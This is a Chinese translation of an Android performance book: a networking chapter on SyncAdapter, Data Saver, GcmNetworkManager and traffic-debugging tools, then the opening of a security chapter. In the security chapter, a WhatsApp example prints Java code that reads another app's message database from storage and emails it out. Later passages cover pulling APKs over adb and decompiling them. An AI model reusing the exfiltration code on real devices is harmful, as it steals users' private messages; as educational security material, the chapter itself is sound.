身份验证器的参数需要在 XML 文件中以以下方式声明:

<account-authenticator

    android:accountType="accountExample"
    android:icon="@mipmap/ic_launcher"
    android:smallIcon="@mipmap/ic_launcher"
    android:label="@string/app_name"/>

最后,我们需要在清单文件中添加service,并指定最近创建的身份验证器:

<service
    android:name=".syncmanager.AuthenticatorService">
    <intent-filter>
        <action android:name="android.accounts.AccountAuthenticator"/>
    </intent-filter>
    <meta-data
        android:name="android.accounts.AccountAuthenticator"
        android:resource="@xml/authenticator" />
</service>

同步适配器

SyncAdapter类负责在服务器和客户端之间执行同步。可以通过以下方式扩展AbstractThreadedSyncAdapter类来创建:

public class SyncAdapter extends AbstractThreadedSyncAdapter {
    ContentResolver contentResolver;

    public SyncAdapter(Context context, boolean autoInitialize) {
        super(context, autoInitialize);
        contentResolver = context.getContentResolver();
    }

    public SyncAdapter(Context context, boolean autoInitialize, boolean allowParallelSyncs) {
        super(context, autoInitialize, allowParallelSyncs);
        contentResolver = context.getContentResolver();
    }

    @Override
    public void onPerformSync(Account account, Bundle extras, String authority, ContentProviderClient provider, SyncResult syncResult) {
        // code to execute the transfer...
    }
}

ContentResolver类用于在SyncAdapter.onPerformSync()方法中查询ContentProvider。框架不下载或上传数据,也不处理ContentProvider。我们需要根据需要自行处理,但SyncAdapter.onPerformSync()方法在后台线程中执行,因此我们无需为此目的创建新的线程。

对于Authenticator类,我们需要为这个SyncAdapter也提供一个绑定的服务:这样我们就可以从绑定组件中引用SyncAdapter,以便在我们想要时启动新的同步。为此,我们可以创建以下服务,并小心地在Service.onCreate()方法中实例化SyncAdapter以作为单例使用:

public class SyncAdapterService extends Service {
    private static SyncAdapter syncAdapter = null;
    private static final Object lock = new Object();

    @Override
    public void onCreate() {
        synchronized (lock) {
            if (syncAdapter == null) {
                syncAdapter = new SyncAdapter(getApplicationContext(), true);
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return syncAdapter.getSyncAdapterBinder();
    }
}

SyncAdapter的参数必须在 XML 文件中以下列方式声明:

<sync-adapter

    android:contentAuthority="authorityExample"
    android:accountType="accountExample"
    android:userVisible="false"
    android:supportsUploading="false"
    android:allowParallelSyncs="false"
    android:isAlwaysSyncable="true"/>

最后,我们需要在清单文件中声明服务,并提供有关提供的SyncAdapter的信息:

<service
    android:name=".syncmanager.SyncAdapterService"
    android:exported="true"
    android:process=":sync">
    <intent-filter>
        <action android:name="android.content.SyncAdapter"/>
    </intent-filter>
    <meta-data android:name="android.content.SyncAdapter"
        android:resource="@xml/syncadapter" />
</service>

Android N 的变化

从网络的角度来看,Android N 在系统行为中引入了一些变化。我们需要了解这些变化,因为如果不理解清楚,它们可能导致不想要的结果。以下是这些变化:

  • 数据节省器:这是一个新模式,用户可以启用它以在后台节省昂贵的数据使用,ConnectivityManager类提供了一种新的方式来访问这些设置

  • 后台优化:不再发送通知应用程序连接性已发生变化的广播

在接下来的几页中,我们将通过这些变化来了解如果我们针对新的 Android N SDK 的应用程序,我们能做什么。

数据节省器

在 Android N 中引入的新数据节省器功能,用户可以通过防止数据计划中的意外费用来节省数据流量。用户如何应用这些策略?在设备设置选项中,用户可以检查单个应用程序在后台时访问数据。不允许在后台接收数据的应用程序可以读取用户偏好及其更改。图 3展示了在搭载新 Android N 的设备上,新的数据节省器功能的外观:

数据节省器

图 3:设备设置内的数据节省器功能及其详情

让我们看看它是如何工作的。Android N SDK 在ConnectionManager API 中提供了新的方法来检查用户偏好。主要方法是:

ConnectionManager.getRestrictedBackgroundStatus()

它返回以下之一:

  • RESTRICT_BACKGROUND_STATUS_DISABLED:当数据节省器被禁用时返回。

  • RESTRICT_BACKGROUND_STATUS_ENABLED:当启用 数据节省 时返回;现在应用程序不应当在后台使用网络。

  • RESTRICT_BACKGROUND_STATUS_WHITELISTED:当启用 数据节省 但应用程序被列入白名单时返回。即使应用程序被列入白名单,在启用 数据节省 时,应用程序也应限制网络请求。

应用程序应在每种情境下都满足用户的性能预期。这就是为什么我们应该使用此 API 来检查用户偏好,然后根据这些偏好来改变应用程序行为的原因。

一旦我们检查了用户对 数据节省 的偏好,我们就应该检查当前连接类型是否为计量的。一个 计量连接 是指由于费用和数据计划问题,不应用来下载大量数据的连接。要了解当前连接是否为计量连接,我们可以使用 ConnectivityManager.isActiveNetworkMetered() 方法。

检查以下代码,了解如何同时处理 数据节省 设置和计量网络的情况:

ConnectivityManager connectionManager = (ConnectivityManager)
        getSystemService(Context.CONNECTIVITY_SERVICE);
// Checks if the active network is a metered one
if (connectionManager.isActiveNetworkMetered()) {
    // Checks user's Data Saver preference.
    switch (connectionManager.getRestrictBackgroundStatus()) {
        case RESTRICT_BACKGROUND_STATUS_ENABLED:
            // Data Saver is enabled and, then, the application shouldn't use the network in background
            break;
        case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
            // Data Saver is enabled, but the application is //whitelisted. The application should limit //the network request while the Data Saver //is enabled even if the application is whitelisted
            break;
        case RESTRICT_BACKGROUND_STATUS_DISABLED:
            // Data Saver is disabled
            break;
    }
} else {
    // The active network is not a metered one.
    // Any network request can be done
}

新 API 还提供了一种监听与 数据节省 相关的用户偏好变化的方法。为此,我们只需注册 BroadcastReceiver 来监听新添加的 ConnectionManager.ACTION_RESTRICT_BACKGROUND_CHANGE 动作。

当我们的 BroadcastReceiver 收到此类动作时,我们应该检查活动网络和 数据节省 选项的新偏好,如前一段所述,然后相应地操作,以便应用程序能够展现出用户预期的适当行为:

public class DataSaverActivity extends Activity  {
    private BroadcastReceiver dataSaverPreferenceReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            ConnectivityManager connectionManager = (ConnectivityManager)
                    getSystemService (Context.CONNECTIVITY_SERVICE);
            // Checks if the active network is a metered one
            if (connectionManager.isActiveNetworkMetered()) {
                // Checks user's Data Saver preference.
                switch (connectionManager. getRestrictBackgroundStatus()) {
                    case RESTRICT_BACKGROUND_STATUS_ENABLED:
                        // Data Saver is enabled and, then, the //application shouldn't use the //network in background
                        break;
                    case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
                        // Data Saver is enabled, but the //application is whitelisted. The //application should limit the network //request while the Data Saver //is enabled even if the application //is whitelisted
                        break;
                    case RESTRICT_BACKGROUND_STATUS_DISABLED:
                        // Data Saver is disabled
                        break;
                }
            } else {
                // The active network is not a metered one.
                // Any network request can be done
            }
        }
    };

    @Override
    protected void onStart() {
        super.onStart();
        IntentFilter filter = new IntentFilter(ConnectivityManager. ACTION_RESTRICT_BACKGROUND_CHANGE);
        registerReceiver(dataSaverPreferenceReceiver, filter);
    }

    ...

}

此特定事件不会传递给声明了隐式 BroadcastReceiver 来监听它的应用程序。这一特定政策限制了后台工作;我们将在后续页面中进行解释。

后台优化

我们在第四章 内存 中探讨了这一主题,当时讨论了连接变化对后台进程内存的影响。我们希望从网络的角度再次审视这个问题,以了解如何改变应用程序在后台的工作方式。

安卓 N 真正改变了什么?有一个特定的动作可以通过使用 Android BroadcastReceiver 类的主要组件传递给应用程序。我们知道,BroadcastReceiver 可以通过意图以两种主要方式进行注册:

  • 隐式地:你可以在清单文件中为组件声明一个意图过滤器对象。

  • 显式地:你可以在组件内部使用 Context.registerReceiver() 方法注册 BroadcastReceiver

从组件状态的角度来看,它们之间的区别在于,如果你使用显式方法,组件已经被创建,而使用隐式方法,则会启动组件的新实例。这种行为导致后台操作被执行,然后系统需要额外的努力;这影响了资源、内存和电池。

因此,谷歌决定改变这一行为,针对特定的动作:ConnectionManager.CONNECTIVITY_ACTION。因此,如果应用程序针对的是 Android N,这个动作将只由注册了接收器的组件以显式方式接收到;然而,如果使用隐式方式,组件将不再接收它。

正如我们将在以下页面看到的,这可以非常有助于了解设备上何时激活了新的连接状态,以便在后台启动新请求,然后更新一些数据以预取内容。从 Android N 开始,这将不再可能,但谷歌提供了一些替代方案,以其他方式达到这一目标:

  • JobScheduler

  • GcmNetworkManager

这些框架使用特定的机制来检查在开始与外部资源的新通信之前是否满足所需的网络条件。然后,我们可以像以前一样安排操作来预取数据,而无需注意某些条件。

GcmNetworkManager

谷歌提供了一个有用的 API,名为GcmNetworkManager。它位于谷歌服务 API 的 Google Cloud Messaging 包内。它封装了前面讨论的模式,并增加了更多功能。它提供了以下功能:

  • 调度一次性任务

  • 调度周期性任务

  • 指数退避重试实现:在出现错误的情况下,可以使用指数退避重试策略再次安排任务

  • 服务实现:任务的状态与应用程序实现无关,可以在重启和重新启动后保持持久化

  • 网络状态依赖的任务调度:可以根据特定的网络状态来安排任务的执行

  • 设备充电状态任务调度:只有当设备处于充电模式时,才能安排任务的执行

服务的实现

这是一个易于使用的 API,其灵活性使得我们可以在许多不同的情况下使用它。让我们通过以下代码来了解其实现方法。首先,我们需要通过继承GcmTaskService类来创建我们的服务:

public class MyGcmTaskService extends GcmTaskService {
    public static final String MY_TASK = "myTask";

    @Override
    public int onRunTask(TaskParams taskParams) {
        switch (taskParams.getTag()) {
            case MY_TASK:
                //task code...
                if (success)
                    return GcmNetworkManager.RESULT_SUCCESS;
                else
                    return GcmNetworkManager.RESULT_RESCHEDULE;
        }
        return GcmNetworkManager.RESULT_SUCCESS;
    }
}

GcmTaskService.onRunTask()方法是我们要开发请求的地方。作为参数使用的TaskParameter对象有助于在TaskParams.getTag()方法中识别已请求的哪个请求,并在TaskParams.getExtras()方法中可选地识别其他参数。每个新请求都会创建一个新线程:因此,GcmTaskService.onRunTask()方法在工作者线程中执行,我们无需为此目的担心创建新线程。

当执行请求代码时,我们需要返回一个整数值,指示接下来要做什么:

  • GcmNetworkManager.RESULT_SUCCESS:任务已无错误执行,可以从队列中移除

  • GcmNetworkManager.RESULT_FAILURE:任务遇到一些错误并失败,但必须从队列中移除

  • GcmNetworkManager.RESULT_RESCHEDULE:任务失败,但我们希望稍后使用退避策略再次执行

由于它是一个service,我们必须在清单文件中声明它:

<service
    android:name=".MyGcmTaskService"
    android:exported="true"
    android:permission="com.google.android.gms.permission. BIND_NETWORK_TASK_SERVICE">
    <intent-filter>
        <action android:name="com.google.android.gms.gcm. ACTION_TASK_READY" />
    </intent-filter>
</service>

任务调度

让我们看看如何调度一个任务。首先,我们需要获取GcmNetworkManager实例:

GcmNetworkManager mGcmNetworkManager = GcmNetworkManager.getInstance(getApplicationContext());

然后,我们需要使用Task的其中一个子类来创建一个任务:

  • OneoffTask

    OneoffTask task = new OneoffTask.Builder()
            .setService(MyGcmTaskService.class)
            .setTag(MyGcmTaskService.MY_TASK)
            .setExecutionWindow(0, 1000L)
            .build();
    
  • PeriodicTask

    PeriodicTask task = new PeriodicTask.Builder()
            .setService(MyGcmTaskService.class)
            .setTag(MyGcmTaskService.MY_TASK)
            .setPeriod(5L)
            .build();
    

最后,我们需要使用GcmNetworkManager实例以以下方式调度任务:

mGcmNetworkManager.schedule(task);

任务特性

这两种Task类型都有一些特定的参数需要更仔细地查看,因为此 API 的大部分灵活性在于这些参数。它们从Task类继承了公共参数:因此,我们将在以下页面中查看它们。

任务

每个Task都包含以下参数:

  • string tag:这是用于启动GcmTaskService实现内部正确执行的代码的任务标识符。

  • bundle extras:这用于传递额外信息到Service,以便正确执行任务。

  • class service:这是用于处理调度的GcmTaskService的标识符。

  • boolean isPersisted:如果设置为true,则任务将被持久化并在重启后执行。只有当调用者持有接收启动完成事件的正确权限时,它才会工作:

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    
  • int requiredNetworkState:这用于根据执行时的网络连接状态指定所需的行为。这意味着在开始执行之前会检查连接,但根据网络状态,连接可能会很快丢失。因此,无论我们选择什么值,我们都应该始终处理连接不可用的情况。可能的值如下:

    • Task.NETWORK_STATE_ANY:无论连接状态如何,任务都会执行。

    • Task.NETWORK_STATE_CONNECTED:只有在活动数据连接的情况下才会执行任务。否则,任务将延迟到连接可用。这是默认值。

    • Task.NETWORK_STATE_UNMETERED:只有在不受限制的连接可用时才会执行任务。否则,任务将挂起,直到有不受限制的连接可用。

  • boolean requiresCharging:这用于指定执行任务所需的设备充电状态。在执行特别耗资源的操作时,等待充电操作可能很有用。至于网络状态,如果设置的值为true且不在充电状态,那么在开启充电之前任务将不会执行。

  • boolean updateCurrent:这有助于修正较旧的计划任务,并用新任务覆盖它。默认为false;因此,每次都会计划一个新任务。

OneoffTask

OneoffTask允许我们指定一个执行窗口来计划任务。它有以下参数:

  • long windowStartDelay:这表示任务的执行起点。这意味着它可以在将来延迟。

  • long windowEndDelay:这指定了任务的执行结束点。

PeriodicTask

PeriodicTask为任务添加以下参数:

  • long flex:这设置在计算执行任务的最佳时机时的灵活性。例如,如果周期是 60 秒,而 flex 值为 10 秒,那么任务执行的正确时刻将由调度程序设置为 50 到 60 秒之间。这有助于让调度程序选择执行任务的最佳网络条件。

  • long period:这指定了将来执行任务的周期性周期。

调试工具

在调试阶段,从网络的角度来看,我们需要灵活的工具来让我们在不同的连接条件下测试我们的应用程序,检查我们在网络上传输的内容,我们是如何做到的,我们如何处理和缓存响应,以及通信是否安全和可靠。

在以下章节中,我们想要讨论的是为了支持新 Android N SDK 内部变化而引入的新adb命令。而且,除了之前在第二章 高效调试 中讨论的 Android 工具,如网络统计工具和TrafficStats API,我们还想简要介绍一些有帮助的工具。这些工具可以让我们分析应用程序的网络性能,并拦截网络通信以便进行详细分析,从而使用本章前面讨论的模式来改进它。

Android N 网络 ADB 工具

如前所述,Android N 对数据网络后台使用引入了新的限制。因此,它在adb内提供了命令,以正确调试和检查我们的实现。

新的命令如下:

  • adb shell dumpsys netpolicy:这用于生成关于网络限制设置的报告。

  • adb shell cmd netpolicy:这用于检查与 netpolicy 相关的所有命令。

  • adb shell cmd netpolicy set restrict-background <boolean>:用于启用或禁用数据节省功能。

  • adb shell cmd netpolicy add restrict-background-whitelist <UID>:用于将特定包添加到白名单应用程序中。

  • adb shell cmd netpolicy remove restrict-background-whitelist <UID>:用于从白名单中移除特定的应用程序包。

Fiddler

Fiddler 是一个用作代理服务器的调试工具,它能够捕获网络上的 HTTP 和 HTTPS 请求,充当中间人MITM)。除此之外,它还可以拦截请求并更改响应,以测试我们应用程序的不同使用场景。

这个工具在许多不同的环境中被使用,但对于我们的 Android 应用程序,我们需要配置设备以通过 Fiddler 网络,并将其作为代理服务器:因此,按照这里给出的步骤配置代理:

  • 打开设备的 Wi-Fi 设置。

  • 在 Fiddler 所在的网络上长按。

  • 在对话框上点击修改网络

  • 通过勾选显示高级选项复选框来启用高级选项。

  • 代理设置设置为手动

  • 代理主机名中输入 Fiddler 电脑的 IP 地址。

  • 输入 Fiddler 端口代理端口

Fiddler 的图形界面在图 3中说明:

Fiddler

图 3:Fiddler 界面

使用这个工具,我们可以访问许多功能来调试我们的应用程序通信,并添加许多扩展来增强其功能,从而提高我们的网络调试技能。

Wireshark

Wireshark 是一个免费的多平台工具,旨在分析从连接中收集的数据包。它像一个中间人一样工作。你需要将你的设备连接到桌面网络以获取信息。你可以通过 USB 端口、蓝牙或创建 Wi-Fi 热点来连接设备。有很多不同的工具可以做到这一点,甚至在 Wireshark 软件包内部也有。

WireShark 捕获的每个单独数据包在图 4中显示:

Wireshark

图 4:Wireshark 中收集的数据包。

捕获的内容可以通过多种方式过滤,以找到我们感兴趣的特殊数据包类型。因此,这个工具是最灵活和受欢迎的数据包分析器之一。

应用程序资源优化器

AT&T 的应用程序资源优化器(在以下页面中称为ARO)是一个用于在桌面查找网络策略改进的好工具。它检查一系列定义的改进点,并给出建议。无需 root 权限。它可以在每个设备上使用,并采用两个连续的步骤:

  • 数据收集:通过注册视频和追踪网络请求来收集数据。

  • 数据分析:通过检查 25 项最佳实践来分析应用程序的网络连接。

收集数据需要 VPN,但应用程序将自动安装创建 VPN 所需的设备。然后,要开始收集,请点击数据收集器,然后点击开始收集器。在设备上导航应用程序,完成后,在桌面上的 ARO 应用程序中点击数据收集器停止收集器。ARO 将分析数据,并以图形方式显示结果,如图图 5所示:

应用程序资源优化器

图 5:AT&T 应用程序资源优化器结果

ARO 为每个分析的最佳实践显示结果,我们可以详细检查每一个,以了解哪里出了问题以及如何修复。

它的瀑布视图还可以用来了解每个单独连接的时间,并检查是什么降低了响应速度,如图图 6所示:

应用程序资源优化器

图 7:ARO 瀑布视图

网络衰减

我们想在应用程序中执行的主要测试与设备的网络条件有关。这并不简单,因为只有少数工具可以做到这一点,尤其是在真实设备上。然而,我们想探索一些选择。这就是为什么下面我们将使用允许我们为本地连接的设备更改这些值的工具,然后我们将处理模拟器速度和延迟的高级管理。

速度和延迟模拟

图形化模拟器控制器允许我们为速度和延迟设置预设值。尽管如此,命令行模拟器控制器可以在模拟器运行时使用自定义值设置和更改它们。

要设置速度并启动模拟器,我们可以运行以下命令:

emulator -netspeed <speed>

其中<speed>可以是以下之一:

  • gsm: 上传速度:14.4 kbps,下载速度:14.4 kbps

  • hscsd: 上传速度:14.4 kbps,下载速度:43.2 kbps

  • gprs: 上传速度:40.0 kbps,下载速度:80.0 kbps

  • edge: 上传速度:118.4 kbps,下载速度:236.8 kbps

  • umts: 上传速度:128.0 kbps,下载速度:1920.0 kbps

  • hsdpa: 上传速度:348.0 kbps,下载速度:14400.0 kbps

  • full: 最大上传速度,最大下载速度

  • <link>: 上传速度:链路值 kbps,下载速度:链路值 kbps

  • <up>:<down>: 上传速度:up 值 kbps,下载速度:down 值 kbps

特别是最后两个值,让我们可以决定任何网络速度的值。然后,如果我们想在模拟器运行时改变速度,我们可以使用以下命令,并使用之前提到的相同值:

network speed <speed>

它类似于延迟值。启动具有选定延迟的模拟器的命令如下:

emulator -netdelay <delay>

其中<delay>可以是以下之一:

  • gprs: 最小延迟:150 ms,最大延迟:550 ms

  • edge: 最小延迟:80 ms,最大延迟:400 ms

  • umts: 最小延迟:35 ms,最大延迟:200 ms

  • none: 最小延迟:0 ms,最大延迟:0 ms

  • <latency>:最小延迟:ms 中的延迟值,最大延迟:ms 中的延迟值

  • <min>:<max>:最小延迟:ms 中的最小值,最大延迟:ms 中的最大值

至于速度,我们可以改变运行模拟器的网络延迟。只需使用上面列出的特定延迟值执行以下命令:

network delay <delay>

Fiddler

我们在本章前面已经介绍了这个工具,但这里我们想要了解的是,Fiddler 允许我们通过添加一个特定的插件来改变网络的延迟。这就是 Fiddler 延迟响应扩展,它看起来像图 7中的截图:

Fiddler

图 8:Fiddler 延迟响应扩展

众所周知,Fiddler 作为代理工作,每个请求都会通过它。因此,我们可以将每个与特定远程资源的会话添加到图 7中截图所示的插件中,并为它设置特定的延迟(毫秒)。

网络链接调节器

苹果设备有一个名为网络链接调节器的服务,它有助于在设备上设置特定的网络配置文件。因此,我们可以将其用于网络共享,利用这个工具在真实设备上测试我们的应用程序。它看起来像图 8中的截图:

网络链接调节器

图 9:网络链接调节器

网络衰减器

AT&T 网络衰减器是一个 Android 应用程序,可以改变设备的连接条件,以在实际场景中测试我们的应用程序。该项目仍处于测试阶段,只能在获得 root 权限的三星 Galaxy S3 上使用,但希望将来能改进以支持更多设备。让我们简要了解一下它,以理解它如何提供帮助:

当安装在设备上时,网络衰减器可以执行以下操作:

  • 改变上传和下载的网络速度

  • 通过设置数据包丢失百分比来改变网络效率

  • 通过域名或 IP 地址阻止远程资源访问

使用这个工具,无需将设备连接到由其他应用程序控制和限制的特定网络。它看起来像图 9中的截图:

网络衰减器

图 10:AT&T 网络衰减器

概述

应用程序的网络方面是最具挑战性的问题。从应用程序的网络策略来看,你可以从这个角度找到可以优化的东西。为此,我们处理了 Android 上的UrlConnection API,以便更好地理解我们可以用它做什么,分析如何使用不同的网络协议,设置不同的请求方法类型,向请求中添加额外的参数,如头部和 cookies,以及处理通信中的压缩。然后,我们概述了平台上可用的连接类型,以了解我们的应用程序在网络传输中可以达到的速度。

然后,在最佳实践部分讨论的模式在提高网络性能方面非常有用。需要遵循的一般原则是:

  • 根据连接速度改变要传输的内容,以加快应用程序速度。

  • 预取数据以加快导航速度并减少远程请求。甚至更好的是,测量延迟以确定预取的正确策略,以在速度和传输节省之间达到正确的平衡。

  • 启用响应缓存以保存单个连接上传输的数据。考虑使用If-Modified-Since头部,当需要已缓存的静态远程资源且服务器上未修改时,减少请求的负载。

  • 在可能的情况下,考虑使用推送模式而不是轮询模式,以节省带宽和电池,并在不需要时避免激活无线电。

  • 当后端出现暂时性错误时,限制请求可能很有帮助。为此,指数退避模式是让服务器在过载时恢复时间和资源的正确选择。

在定义了最佳实践之后,我们通过平台提供的几个有用的 API 来实践本章所讨论的内容。以下是一些 API:

  • SyncManager API

  • GCMNetworkManager API

为了验证我们所学的内容是否应用得当,我们在调试工具部分讨论了正确的工具来检查三个主要目标:

  • 在不同的网络条件下测试应用程序,改变速度和延迟。

  • 从外部检查请求属性,以确保它们符合我们的需求

  • 检查在应用程序生命周期中是否有执行不必要的传输

为了这些目标,我们引入了 Fiddler、WireShark 和 ARO:这三种工具用于分析我们的应用程序,并让我们知道如何改进它。最后,我们讨论了几种方法,用于在模拟器和真实设备上模拟连接条件不佳的情况。

在这里,我们处理了与网络架构和策略有关的一切,以改善连接时间并减少由于使用无线电导致的电池耗电,但我们还没有讨论缓存。请参考第十章,性能技巧,详细了解如何正确缓存数据以便将来重用,使用序列化技术,然后从 CPU 和网络性能的角度提高性能,加快应用程序的整体响应速度。

第七章:安全

维基百科将安全定义为:“对伤害的抵抗程度或保护。它适用于任何脆弱且宝贵的资产,如人、住所、社区、物品、国家或组织。”

当我们思考软件安全时,脑海中可能会浮现黑客在黑色屏幕和绿色字体中工作的画面,他们快速地在控制台输入命令,以获取系统访问权限或破坏防火墙。但现实与好莱坞电影中的情景不同。软件安全指的是一个强大的系统,它保护用户的隐私,避免攻击者的不必要交互,并保持完整性。

计算机系统可能会遇到多种漏洞或攻击向量:

  • 后门:后门是用于绕过应用程序安全性的点,通常是系统开发者留下的。2013 年,斯诺登曝光的一个丑闻暗示,国家安全局(NSA)拥有许多操作系统和平台的后门,包括谷歌的。

  • 拒绝服务攻击拒绝服务DoS)是一种旨在使资源对用户不可用的攻击。DDoS 和 DoS 攻击属于这一类别:这些攻击包括向服务器发送请求,直到服务器无法处理所有请求,并停止向合法用户服务内容。

  • 直接访问攻击:在这种攻击中,攻击者直接访问系统,通常目的是窃取文档或其中包含的相关信息。

  • 中间人(MitM)攻击:在这种攻击中,第三方将计算机插入合法目的地和源头之间,并欺诈性地将自己设置为合法目的地。然后用户将所有信息发送给这个拦截器,拦截器通常又将信息重新发送到合法目的地,因此用户没有意识到信息已被截获。Security

    MitM 攻击的拓扑结构

  • 篡改:篡改是指恶意修改软件,通常目的是假装它是合法版本,并在后台执行一些不希望的操作(如监控或窃取信息)。

作为操作系统,Android 并非没有这些风险。实际上,考虑到其广泛的应用范围(全球有超过十亿个 Android 设备),它比其他平台面临更多的威胁。已经有一些知名(并被广泛使用)的应用程序因设计标志通常被用作软件设计不当可能发生的情况的例子。

WhatsApp —— “不可为”的永恒展示

WhatsApp 可以展示应用程序可能呈现的一些标志。2011 年报告了一个漏洞,指出 WhatsApp 内的通信并未加密。连接到同一 Wi-Fi 网络的设备可以访问其他设备之间的通信。几乎花了一年的时间来修复这个漏洞,而这个漏洞并不是特别复杂难以解决。

那一年晚些时候,也报告了一个问题,允许攻击者冒充用户并控制他的账户。2012 年 1 月,一名黑客发布了一个网站,如果知道电话号码,就可以更改安装了 WhatsApp 的任何设备的状态。WhatsApp 为修复这个漏洞所采取的唯一措施是封锁了网站的 IP 地址(正如任何读者可以想象的,这远非一个有效的措施)。

WhatsApp 多年来存在的一个大问题是,消息存储在本地数据库中。这是在外部存储中完成的,任何其他应用程序(以及任何恶意黑客)都可以访问该文件。这个想法可能有它的理由(例如,保持备份),但实施结果是一场灾难。数据库总是使用相同的加密密钥进行加密,因此任何可以访问该文件的人都可以轻松地解密它。以下是一个获取数据库文件并通过电子邮件发送的示例操作:

  public void onClick(View v) {
      try {   
          AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {

              @Override
              protected Void doInBackground(Void... arg0) {
                  GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
                  try {
                     File f = new File(filePathString); 
                 if (f.exists() && !f.isDirectory()) {
                   sender.addAttachment("/storage/sdcard0/ WhatsApp/ Databases/msgstore.db.crypt", SUBJECT_STRING);
                            sender.sendMail(SUBJECT_STRING,
                                    BODY_STRING,
                                    EMAIL_STRING,
                                    RECIPIENT_STRING);

                 }    
                  } catch (Exception e) {
                      e.printStackTrace();
                  }   
                  return null;
              }
          };
          m.execute((Void)null);
      } catch (Exception e) {
          Log.e("SendMail", e.getMessage());
      } 
  }
});

深入代码

当我们在特定技术上发展时,通常会用高级语言(如 C、C++或 Java)编程,然后编译我们的代码和资源到一个文件中,该文件将在独立平台上执行。编译过程在技术之间有所不同(Java 的编译过程与 C++不同,因为 Java 将在 JVM 中运行)。通过或多或少的难度,已经编译的代码可以“逆向”并从编译后的代码访问,编译后的代码通常是不可读的,变为对用户更友好的形式。

下图展示了我们在 Android 中开发应用程序的过程:

深入代码

以下是上述内容的解释:

  1. 最初,我们利用 Android SDK 和外部库开发我们的应用程序。最终,我们还使用了 NDK,它遵循不同的开发和编译过程。

  2. 当我们的应用程序准备好,我们想要编译它时,它将被编译以在 Android 虚拟机上执行。这将被编译成一个大致相当于 DEX 格式的字节码文件,这是 Android 理解的格式。

  3. 文件后来被打包并签名。签名的过程很重要,因为这样我们可以确保文件属于特定的公司,并且没有被篡改。

  4. 之后,应用程序将通过 Google 应用商店或其他替代市场进行分发。

注意

安卓设备如果使用的是 4.4 版本或更早的操作系统,会使用一个特定的虚拟机版本,名为 Dalvik,这个名字来源于冰岛的一个渔村。从 Android 5.0 开始,这个虚拟机版本被停止使用,取而代之的是一个新的虚拟机版本,名为Android Runtime (ART),它使用相同的字节码和 DEX 格式。

要访问生成 APK 文件的代码,只需按照逆向步骤进行即可。

捕获 APK 文件

我们可以使用不同的方法来捕获 APK 文件。在本书中,我们将介绍三种(截至 2015 年第四季度可用)。请注意,本章提供的信息仅用于教育目的。在进行逆向工程时,需要遵守一些规则和立法,这将在后面讨论。

从设备中提取文件

如果我们的设备已经 root 或者我们使用的是安装了 Google Play 服务的模拟器,可以提取已安装的 APK。请注意,root 过的设备可能会受到恶意应用程序和攻击者的针对。如果你打算 root 你的设备,互联网上有大量的免费信息可供参考。

当应用从 Play Store 或替代市场安装后,你首先需要将adb连接到你的电脑。首先你需要确定目标应用的包名:

adb shell pm list packages

尝试将应用名称与列出的某个包进行匹配,这并不总是容易的。如果你找不到,观察当你在 Play Store 中显示应用时浏览器的 URL:

从设备中提取文件

此图像与 Google Maps 相对应。包名是id=-之后的所有内容。确定包名后,你需要获取它的完整路径:

adb shell pm path com.example.targetapp

这通常会返回位于/data/app文件夹中的地址。找到它后,你需要从设备中提取它:

adb pull /data/app/com.example.targetapp-2.apk

这样操作之后,你将成功下载应用的 APK。

使用 Wireshark 捕获 APK

Wireshark 是一个在安全领域广泛使用的网络嗅探和分析工具。它捕获网络中的流量并进行嗅探,即读取未加密的内容。即使内容被加密,也有一些技术可以误导客户端或设备认为服务器是真实的(中间人攻击),然后拦截所有发送的信息。

为了拦截 APK 文件(以及 Android 流量),你需要在电脑上创建一个热点。这将取决于你所使用的操作系统。在 Macintosh 上,可以通过选择互联网共享轻松完成,使用以太网作为共享的互联网连接,并提供 Wi-Fi 作为热点。这个选项可以在配置菜单中找到:

使用 Wireshark 捕获 APK

当手机已经连接到我们的热点并在浏览时,我们需要让 Wireshark 从连接中嗅探。使用 Wireshark 并设置它可能需要一整本书的篇幅。作为一个起点:我们需要指向与 Wireshark 共享的接口,并注意所有发送和接收的包。我们可以使用过滤器来指出发送信息的 IP,因为可能会有大量的信息。当确定了 URL 和认证头后,我们可以使用如 Postman 之类的 HTTP 请求创建器下载 APK。

使用 Wireshark 捕获 APK

使用外部网站

许多网站提供这项功能,以点击广告或展示广告作为交换。在 Google 上搜索"在线下载 APK 文件",会返回成千上万的网站。一个不算详尽的搜索将引导我们下载我们的目标 APK。然而,我们强烈不推荐这种方法。正如我们后面将看到的,修改 APK 并插入恶意代码是件轻而易举的事。提供明显免费下载的网站背后可能隐藏着恶意代码的注入。

APK 文件解剖

假设我们已经获得了一个 APK 文件。为了本节的用途,并且为了简化练习,我们将创建一个仅包含Activity内一个TextViewHelloWorld应用程序。

为了分析我们应用程序的内部结构,首先让我们解压 APK 并检查其内容。我们将看到类似以下的内容:

APK 文件解剖

对于这个领域的新手来说,我们可以看到 Android 清单和res文件夹内的资源是直接可访问的。classes.dex文件包含了我们前面解释的编译后的 Java 文件。Resources.arsc文件(应用程序资源文件)包含二进制资源的列表,包括程序使用的任何类型的数据。这个文件是由Android Asset Packaging Toolaapt)创建的。

我们现在将介绍第一种技术,读取未经混淆的文件的代码,并将文件转换为 JAR 文件,然后用反编译器打开它。为此,我们需要两个工具:

  • dex2jar:一个开源工具,用于将 Android APK 转换为 JAR 文件。翻译并非完全准确,但通常足以反编译 JAR 文件(更容易)并洞察代码。可以从sourceforge.net/p/dex2jar/下载。

  • JD-GUI:Java Decompiler 项目是另一个开源项目,旨在以简单直观的方式反编译 Java 5 版本之后的 JAR 文件。我们为 Eclipse 和 IntelliJ 提供了插件,但为了本章的目的,我们将使用独立应用程序。可以从jd.benow.ca/下载。

下载完这两个应用程序后,首先将 APK 转换成 JAR 文件。为此,我们需要编写以下命令:

java –jar dex2jar.jar target.apk

如果我们使用 .sh 文件,以下是相关内容:

./dex2jar.sh target.apk

这将在与 target.apk 同一文件夹中生成一个名为 TargetFile_dex2jar.jar 的文件。

现在让我们打开这个文件,使用 JD-GUI 打开它,并选择 HelloWorldActivity。我们将看到类似于以下屏幕的内容:

APK 文件的剖析

